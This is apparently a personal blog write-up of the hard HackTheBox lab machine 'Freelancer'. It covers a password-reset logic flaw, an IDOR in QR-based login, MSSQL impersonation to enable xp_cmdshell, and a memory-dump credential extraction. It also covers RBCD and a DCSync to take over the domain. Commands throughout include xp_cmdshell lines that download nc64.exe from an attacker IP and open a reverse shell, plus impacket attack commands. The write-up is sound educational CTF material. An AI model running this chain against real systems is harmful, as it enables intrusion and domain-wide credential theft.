Post

Freelancer: a hard HackTheBox machine

Freelancer: a hard HackTheBox machine
Hard HackTheBox

Overview

Freelancer is a hard box with a creative initial access chain through a freelancing web application. A logical flaw in the password reset flow lets you activate an account without confirmation, and an IDOR in the QR-based SSO lets you log in as admin. From there it’s MSSQL impersonation for RCE, a full memory dump with credentials buried inside, and RBCD to finish off the domain.

Reconnaissance

Note: This writeup moves quickly through reconnaissance. For a detailed breakdown of the recon methodology, see the Cascade writeup.

This box is special, one of my favorites in the initial access part, a well design one, the usual nmap -A and adding the domains to our /etc/hosts, the results are :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.25.5
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.25.5
|_http-title: Did not follow redirect to http://freelancer.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-09 05:30:07Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

we have an nginx server running on port 80, the http-title leaks the domain to be http://freelancer.htb/ , that will be our starting point, I used gobuster with the common.txt wordlist, I always like doing my hacks manually, I go simple and when stuck or things get blurry only then I start looking at things more thoroughly (this is like 90% the case for ctf environments) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[/tmp/a/freelancer]
└─$ gobuster dir -u http://freelancer.htb -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://freelancer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
about                (Status: 301) [Size: 0] [--> /about/]
admin                (Status: 301) [Size: 0] [--> /admin/]
blog                 (Status: 301) [Size: 0] [--> /blog/]
contact              (Status: 301) [Size: 0] [--> /contact/]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
==================================================

the admin part is something to keep an eye for, the others have routes to them from the main page i believe. I’ll save the time and save you from hearing about my failed attempts and dead ends, the website seems to have a login functionality, and we can register by creating accounts however when creating an account is not active by default thus we cannot authenticate to it.

Login page

poking around for a bit, there is a reset password feature though and it reads :

Reset password feature

so we can reset our password using the security questions we provided before, and then our account will be reactivated, what if our account was never active at all, like we just created it ? testing this assumption reveals the logical bug to exploit here, and the application doesn’t actually account for, after reseting our password we can login!

Dashboard

I talked about failed attempts before, and yeah I explored the blog path and found an IDOR that leaked emails, one of them is the admin, ids etc .. this will come in handy later on for now let’s see what can we do that we have an account :

Qr-Code

there is a QR-Code in the right, this seems to be a form of a SSO, and no password needed as it says in the image. Downloading the Qr-Code image and scanning it with zbarimg :

1
2
zbarimg qr-code.png
http://freelancer.htb/accounts/login/otp/MTAwMTA=/54c7667daa4c8c3fca0cbca40ce8376d/

the MTAwMTA part of it looks like an ID and the 54c7667daa4c8c3fca0cbca40ce8376d as the OTP code, we can experiment with this to understand what each part represents, we’ll see that the 54c7667daa4c8c3fca0cbca40ce8376d changes each time we get a new Qr-Code while MTAwMTA doesn’t, this seems to be the part that identifies the user that requested the SSO ( if my wording is correct here ), all that’s left is finding a way to control it, we’re challenging 2 assumptions here at once, 1st that the MTAwMTA= identifies the user logged in, and if we can control it somehow we can log in as another user without needing a password, the 2nd is that the otp code is not tied to a session, if it is, our 1st assumption is useless, before jumping to conclusions, I created a 2nd account, got an otp code and used it for the 1st account and it worked, so the otp code is not tied to a session and the backend likely has a pool of them it just verifies it exists and that validates it. it’s always worth it to verify like this, it’s worth nothing to spend hours trying to exploit something that is not exploitable and even if it was, it will lead nowhere. now that we know the otp code is not tied to a session we go back looking at the MTAwMTA=, it’s base64 :

1
2
base64 -d <<<MTAwMTA
10010

and this is actually the id of the user we created, spotting the path from here was easy for me as I poke around the blog for a bit.

Meow user

and for the admin user, the id is 2:

Admin user

1
2
echo -n 2 |base64
Mg==

from here we requested a new OPT code as the previous ones expired :

1
2
3
zbarimg new.png
QR-Code:http://freelancer.htb/accounts/login/otp/MTAwMTA=/f8a8bfdc87c54206acc50bd6c96cec69/
scanned 1 barcode symbols from 1 images in 0.03 seconds

We change the MTAwMTA= to Mg== and we’re logged in as admin ( IDOR? ).

now as admin we check the /admin endpoint we saw before, there seems to be an SQLTerminal, this web app seems to be running the context of the Freelancer_webapp_user.

using xp_cmdshell didn’t work, no linked servers so we enumerate the impersonation privileges we have:

1
2
3
4
5
6
7
SELECT a.name AS grantee, b.permission_name, c.name AS grantor
FROM sys.server_permissions b
INNER JOIN sys.server_principals a
ON b.grantee_principal_id = a.principal_id
INNER JOIN sys.server_principals c
ON b.grantor_principal_id = c.principal_id
WHERE b.permission_name = 'IMPERSONATE';

Impersonation Privileges

Exploitation

it seems we can impersonate the sa account, a more privileged one, and our path to command execution has become clear :

1
2
3
4
5
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

and we’re svc_sql :

svc_sql

getting a reverse shell at this point was annoying as defender was in place, so I went about it simple, first we upload nc64.exe and then we execute it to get us a reverse shell :

1
2
EXECUTE AS LOGIN = 'sa';
EXEC xp_cmdshell 'powershell -c "curl http://10.10.15.78/nc64.exe -outfile c:\users\public\nc64.exe"';

and :

1
2
EXECUTE AS LOGIN = 'sa';
EXEC xp_cmdshell 'powershell -c "c:\users\public\nc64.exe -e cmd 10.10.15.78 4444"';

on the other side I used penelope to catch the shell, though it died just re-executing the revrse shell command got it back.

Reverse Shell

once in, the best place to start with is the config files of mssql we just saw ( in fact whenever something is exposed, once pwned and I’m the system, it’s the first I look at to understand what was happening and what did I miss) :

Random Password

the password doesn’t work for svc_sql account, I don’t remember us grabbing a list of usernames, let’s do it from the shell we have :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\>net user /domain
net user /domain

User accounts for \\DC

-------------------------------------------------------------------------------
Administrator            alex.hill                carol.poland
d.jones                  dthomas                  ereed
Ethan.l                  evelyn.adams             Guest
hking                    jen.brown                jgreen
jmartinez                krbtgt                   leon.sk
lkazanof                 lorra199                 maya.artmes
michael.williams         mikasaAckerman           olivia.garcia
samuel.turner            sdavis                   sophia.h
sql_svc                  SQLBackupOperator        sshd
taylor                   wwalker
The command completed successfully.

and spraying it over them :

1
nxc smb 10.129.3.195 -u users.txt -p "IL0v3ErenY3ager"

this password worked for the user mikasaAckerman, and we now have a foothold in the system.

first things first, and we meow at rusthound-ce :

1
2
3
4
5
6
7
8
9
rusthound-ce -d freelancer.htb -u mikasaAckerman -p IL0v3ErenY3ager -z
---------------------------------------------------
Initializing RustHound-CE at 02:18:43 on 03/09/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-03-09T06:18:43Z INFO  rusthound_ce] Verbosity level: Info
[2026-03-09T06:18:43Z INFO  rusth
< SNIP >

viewing the information bloodhound has to tell us about mikasaAckerman, she doesn’t seem to have much privileges in the system. she is also not in the Remote Management Users, so we need to use RunasCS.exe to get a shell as her :

1
2
3
4
5
6
7
PS C:\Users\Public> .\runascs.exe mikasaAckerman IL0v3ErenY3ager cmd -r 10.10.15.78:9001 -d freelancer.htb
.\runascs.exe mikasaAckerman IL0v3ErenY3ager cmd -r 10.10.15.78:9001 -d freelancer.htb

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-4c4be$\Default
[+] Async process 'C:\WINDOWS\system32\cmd.exe' with pid 2512 created in background.
PS C:\Users\Public>

on our machine we have started a listener on port 9001 to catch this shell.

1
2
3
4
5
6
7
8
9
10
11
rlwrap nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.3.195 50371
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
freelancer\mikasaackerman

C:\WINDOWS\system32>

wondering around in her profile directory we find the following files in her Desktop :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
C:\Users\mikasaAckerman>cd Desktop
cd Desktop

C:\Users\mikasaAckerman\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 8954-28AE

 Directory of C:\Users\mikasaAckerman\Desktop

05/28/2024  10:22 AM    <DIR>          .
05/28/2024  10:22 AM    <DIR>          ..
10/28/2023  06:23 PM             1,468 mail.txt
10/04/2023  01:47 PM       292,692,678 MEMORY.7z
03/09/2026  01:26 AM                34 user.txt
               3 File(s)    292,694,180 bytes
               2 Dir(s)   2,588,839,936 bytes free

C:\Users\mikasaAckerman\Desktop>type mail.txt
type mail.txt
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,

C:\Users\mikasaAckerman\Desktop>

I used nc to transfer MEMORY.7z

Transfering files with nc.exe

checking the file type we got :

1
2
file MEMORY.DMP
MEMORY.DMP: MS Windows 64bit crash dump, version 15.17763, 2 processors, full dump, 4992030524978970960 pages

this seems to be a full crash dump ( not a minidump ), the easy and simple way here is to just mount it using memprocfs, you can get the tool from here : https://github.com/ufrisk/MemProcFS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo ./memprocfs -device /tmp/a/freelancer/rusthound/MEMORY.DMP -mount /mnt/memprocfs -forensic 0
[sudo] password for kali:
Initialized 64-bit Windows 10.0.17763

==============================  MemProcFS  ==============================
 - Author:           Ulf Frisk - pcileech@frizk.net
 - Info:             https://github.com/ufrisk/MemProcFS
 - Discord:          https://discord.gg/pcileech
 - License:          GNU Affero General Public License v3.0
 - Licensed To:      GNU Affero General Public License v3.0 - OPEN SOURCE USER.
   ---------------------------------------------------------------------
 - Version:          5.17.3 (Linux)
 - Mount Point:      /mnt/memprocfs
 - Tag:              17763_a3431de6
 - Operating System: Windows 10.0.17763 (X64)
=============================

this just hangs, doesn’t matter as we can access it just fine from another terminal pane.

1
2
3
4
5
6
7
┌──(root㉿kali)-[/mnt/memprocfs/registry]
└─# ls
by-hive  hive_files  hive_memory  HKLM  HKU

┌──(root㉿kali)-[/mnt/memprocfs/registry]
└─# ls HKLM
BCD  HARDWARE  ORPHAN  SAM  SECURITY  SOFTWARE  SYSTEM

I tried using the built-in regsecrets plugin had parsing errors, so I used pypykatz directly on the registry hives as a fallback :

1
2
3
sudo pypykatz registry /mnt/memprocfs/registry/hive_files/0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive  
--sam /mnt/memprocfs/registry/hive_files/0xffffd3067d935000-SAM-MACHINE_SAM.reghive 
--security /mnt/memprocfs/registry/hive_files/0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive

this extracted quite the lsa service secrets :

1
2
3
4
Service: _SC_MSSQL$DATA
Password: PWN3D#l0rr@Armessa199
Service: _SC_MSSQL$DATA (Historical)
Password: MSSQLS3rv3rP@sswd#09

and DCC2 Cached Domain Credentials:

1
2
3
FREELANCER.HTB/Administrator:$DCC2$10240#Administrator#67a0c0f193abd932b55fb8916692c361
FREELANCER.HTB/lorra199:$DCC2$10240#lorra199#7ce808b78e75a5747135cf53dc6ac3b1
FREELANCER.HTB/liza.kazanof:$DCC2$10240#liza.kazanof#ecd6e532224ccad2abcf2369ccb8b679

trying to crack these is usually not a good idea, it’s DCC2 after all, we’ll start somewhere else by spraying the passwords we found, and it seems we get a hit with lorra199, checking bloodhound, this user seems to be in the remote management users :

1
2
3
4
5
6
7
8
9
10
11
ewp -i freelancer.htb -u lorra199 -p 'PWN3D#l0rr@Armessa199'
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'freelancer.htb:5985' as 'lorra199'
evil-winrm-py PS C:\Users\lorra199\Documents> dir ..\Desktop
evil-winrm-py PS C:\Users\lorra199\Documents> cd ..
evil-winrm-py PS C:\Users\lorra199> dir

Privilege Escalation

the user lorra199 seems to be in the AD Recycle Bin, from bloodhound we see this group has GenericWrite on the DC.

AD Recycle Bin

having GenericWrite on the DC, means we have a clear path to RBCD (Resource Based Constrained Delegation), the whole idea of delegation is that sometimes when using a service, let’s a web app, you have authenticated to the domain and got a ticket it for it, but this web app to get you some specific information about your account for whatever reason this web app would need it from another service, he’ll also need a ticket for it, the easy annoting way is to ask you to authenticate to that service and you get him the ticket or type in a password so he can also get a ticket for that service. this is bad and not practical thus the birth of delegation, since you already authenticated to this web app presenting a ticket, he can just use that one, pass it to the other service and act as you getting you the information he needed, which makes the whole design very abstract. now the fun part, in the case of RBCD, the control of who can delegate to who are resource based, so only certain computers/accounts can delegate users to the DC, and the way this is defined is the DC checks its msDS-AllowedToActOnBehalfOfOtherIdentity attribute for making the decision if a machine is allowed to delegate to it or not, having GenericWrite on the DC computer means we can write what we want to this attribute and make a machine we control trusted by the DC computer, this will allow us to impersonate a privilege user and get a service ticket to DC01 for it, this will allows us to perform DCsync and get Domain Admins on the domain. along the way of this attack due to how delegation works we have to prove to the DC01 that the privileged user we’ll impersonate let’s say administrator, has authenticated to us but he didn’t we’ll have to forge this using S4U2Self protocol and use the ticket we forged that administrator authenticated to our malicious host to get and S4U2Proxy to ask for a ticket on behalf of the administrator to the DC01. now we understand the attack chain all that’s left is to execute this ( as always in future post when I don’t yap about this just come here to read about it, I explain things a bit the first time we do it and save time next times we encounter it … )

let’s add a computer account using lora199’s account ( we used SAMR method here since LDAPS failed due to certificate issues ) :

1
2
3
4
5
impacket-addcomputer -method SAMR -computer-name 'C4T$' -computer-pass 'Plur1bu52025' \
  -dc-host freelancer.htb -domain-netbios freelancer.htb \
  'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'

[*] Successfully added machine account C4T$ with password Plur1bu52025.

next we configure the RBCD :

1
2
3
4
5
6
7
8
impacket-rbcd -delegate-from 'C4T$' -delegate-to 'dc$' -action 'write' \
  'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] C4T$ can now impersonate users on dc$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     C4T$        (S-1-5-21-3542429192-2036945976-3483670807-12101)

we fix time first not to get clock skew issues since we’ll be using kerberos :

1
2
3
4
sudo ntpdate -u freelancer.htb

CLOCK: time stepped by 3600.099741
2026-03-09 04:35:56.841691 (-0400) +3600.099741 +/- 0.063358 freelancer.htb

now we request a TGS impersonating administrator :

1
2
3
4
5
6
7
8
9
impacket-getST -spn 'cifs/DC.freelancer.htb' -impersonate 'administrator' \
  'freelancer.htb/C4T$:Plur1bu52025'

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache

the tool did S4U2self and S4U2Proxy as we said this can be done from a windows host too using Rubeus.exe ( I think we’ll have to get each ticket separately there — S4U2self then S4U2Proxy, it’s kinda automated here, I don’t quite remember)

now that we have the ticket let’s use it to DCsync :

1
2
3
4
5
6
7
8
KRB5CCNAME='administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache' \
  impacket-secretsdump -no-pass -k dc.freelancer.htb -just-dc-ntlm

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f< SNIP > 1a290:::
< SNIP > 
[*] Cleaning up...

root.txt

as a wise cat once said, naming a fake account as C4T is a blessing in disguise.

This post is licensed under CC BY 4.0 by the author.